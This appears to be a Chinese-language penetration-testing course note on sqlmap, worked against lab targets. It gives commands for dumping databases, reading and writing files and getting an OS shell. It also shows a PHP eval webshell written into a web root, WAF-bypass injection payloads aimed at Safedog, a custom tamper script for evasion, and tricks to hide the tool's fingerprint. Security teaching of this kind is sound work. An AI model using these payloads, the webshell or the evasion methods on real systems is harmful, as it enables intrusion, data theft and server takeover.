第46天:注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

SQLMAP

介是个嘛:

1
SQLMap 是一款开源的自动化 SQL 注入工具,主要用于检测和利用 Web 应用程序中的 SQL 注入漏洞,支持多种数据库管理系统(DBMS),并能执行数据库枚举、数据提取、权限提升等操作。它被广泛应用于网络安全测试、渗透测试以及漏洞评估领域。

详解

sqlmap缓存路径

1
C:\Users\yatming\AppData\Local\sqlmap\output   #这个路径是sqlmap每次进行扫描的缓存路径,如果你攻击完成一个数据库,就会有缓存,然后下一次攻击的时候就不会猜解字符这些步骤,直接会调用缓存中的内容

测试access注入点

1
python sqlmap.py -u "http://192.168.111.138:89/Article.asp?classid=1" -v --batch

image-20250809130351033

数据猜解 库表列数据 字典

1
2
3
4
5
6
测试:
http://vulnweb.com/
--current-db
--tables D ""
--columns T "" D ""
--dump C "" C "" T ""

image-20250809130947120

这里由于是access数据库,所以目标没有库这个结构,所以自然是输出:Microsoft Access

权限操作-文件&命令&交互式

查看数据库是否是管理员

1
2
3
4
5
--is-dba

--privileges

这两个都可以看当前数据库用户是不是高权限用户

image-20250809131603012

文件读写

1
2
3
--file-read		#(文件读取命令,相当于使用load_file函数)
例子:
python sqlmap.py -r 1.txt --batch --file-read "C:\\1.txt"

image-20250809131919665

image-20250809131946874

可以看到确实有这个文件。

写入文件
1
2
3
4
5
6
--file-write 写入本地文件
--file-dest 要写入的文件绝对路径
这两个命令一般一起使用

例子:
python sqlmap.py -r 1.txt --batch --file-write "D:\\test.txt" --file-dest "C:\\2.txt"

image-20250809132255493

image-20250809132331786

命令执行

1
2
3
4
--os-cmd=whoami			(需要知道语言及网站绝对路径才行)

例子:
python sqlmap.py -r 1.txt --os-cmd=whoami

获取操作系统shell

1
python sqlmap.py -r 1.txt --os-shell

获取交互式sql-shell

1
2
3
4
--sql-shell(执行数据库命令,必须要用到select,也可以配合into outfile函数)

select "<?php @eval($_POST[1]);?>" into outfile "C:\phpStudy\PHPTutorial\WWW\1.php";
#执行这个操作的时候,需要有堆叠注入

post注入

1
--data ""

image-20250809135731034

Cookie方式注入

1
--cookie ""

json注入

1
-r 1.txt (推荐,该方法通杀全部提交方式)在txt里要注入的地方加上*号就是告诉工具在这里注入,不加*就是让工具对整个数据包参数进行测试

绕过模块-Tamper脚本-使用&开发

注释绕过

1
2
3
4
原理:/**/在mysql中是注释的意思,但是waf在匹配下面两个值的时候
id=1 and 1=1
id=1 and/**/ 1=1
这两个在waf的眼里是不一样的(因为安全狗匹配的就是and后面不能有数字),但是在mysql中是一样的,所以有机会绕过,这个动作可以让burp进行FUZZ尝试。

image-20250812084941321

image-20250812085200294

可以看到这样可以绕过。

1
http://192.168.111.128/sqli-labs-master/Less-2/index.php?id=2%20and/*%23%2f!!*/1=1--+
猜字段
1
2
3
order by 1--+		#安全狗3.5没有拦截
#网上的安全狗4.0有拦截,绕过方式也是同理
order/*垃圾字符*/by 1--+

image-20250812085545414

1
2
3
4
5
union select 1,2,3		#拦截
select 1,2,3--+ #不拦截
union 1,2,3--+ #不拦截

说明这里union select这样的组合会有过滤

image-20250812085808238

1
id=-2 union/*%2f%23!!*/select 1,2,3--+

image-20250812090405522

image-20250812090439648

爆库名

1
#之前union select已经绕过了,这里加上database()就进行拦截,猜测是不能和他们进行组合,所以尝试在union select /**/ 1,2,database() 这样尝试一下,或者是不能有database()这样的关键字。所以可以考虑:data/**/base(),或者:database(/**/)

image-20250812090629488

1
2
3
4
5
6
7
8
union select/**/1,2,database() 		#拦截,估计是拦截database()关键字了

data/**/base() #确实没拦截,但是也识别不了了
database(/**/) #绕过
database/**/() #绕过

-2%20union/*%2f%23!!*/select%201,2,database(/*%26%2f!!*/)--+
-2%20union/*%2f%23!!*/select%201,2,database/**/()--+

image-20250812091935298

爆表名

1
原理和上面类似,就是打乱关键字

image-20250812092631371

但是这里关键字有的不能分开,所以就需要用到内联注释

内联注释绕过的原理

/*!xxxxx*/内联注释的内容数字大于版本号时会将内容注释掉,当小于版本号时仍会被mysql执行。内容需5位数,经过测试发现,数字中有4会更可能绕过成功!所以/*!12345and*/ 1=1等价于and 1=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
import re
from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace(" ","/*/!%!/*/")
payload = payload.replace("()","(/*/!%!/*/)")
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)
return payload

参考链接:

1
2
3
4
5
6
https://www.cnblogs.com/hetianlab/p/17145271.html
https://blog.csdn.net/qq_50854662/article/details/128565912
https://www.anquanke.com/post/id/263744
https://cloud.tencent.com/developer/article/1906241
https://forum.butian.net/share/1979
https://zhuanlan.zhihu.com/p/647210626

常用的sqlmap绕过的语法组合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# All scripts
--tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64encode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,randomcomments,securesphere,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords


# General scripts
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes


# Microsoft access
--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords


# Microsoft SQL Server
--tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,percentage,randomcase,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes


# MySQL
--tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,multiplespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor


# Oracle
--tamper=between,charencode,equaltolike,greatest,multiplespaces,randomcase,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes,xforwardedfor


# PostgreSQL
--tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,percentage,randomcase,space2comment,space2plus,space2randomblank,xforwardedfor


# SAP MaxDB
--tamper=ifnull2ifisnull,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,unionalltounion,unmagicquotes,xforwardedfor


# SQLite
--tamper=ifnull2ifisnull,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2dash,space2plus,unionalltounion,unmagicquotes,xforwardedfor

分析拓展-代理&调试&指纹&风险&等级

后期分析调试:

1
2
-v=(0-6)  #详细的等级(0-6)
-–proxy "127.0.0.1:8080" #代理注入

打乱默认指纹

1
2
3
--user-agent ""  #自定义user-agent
--random-agent #随机user-agent
--delay (设定两个HTTP请求的间隔时间,默认是没有任何间隔)

更多测试

1
2
--level=(1-5) #要执行的测试水平等级(测试深度),默认为1 
--risk=(0-3) #测试执行的风险等级,默认为1

附录

sqlmap的使用方法

第46天:WEB攻防-注入工具&SQLMAP&Tamper编写&指纹修改&高权限操作&目录架构

sqlmap的绕过模块各个文件的含义

1358580-20190605194338464-982309411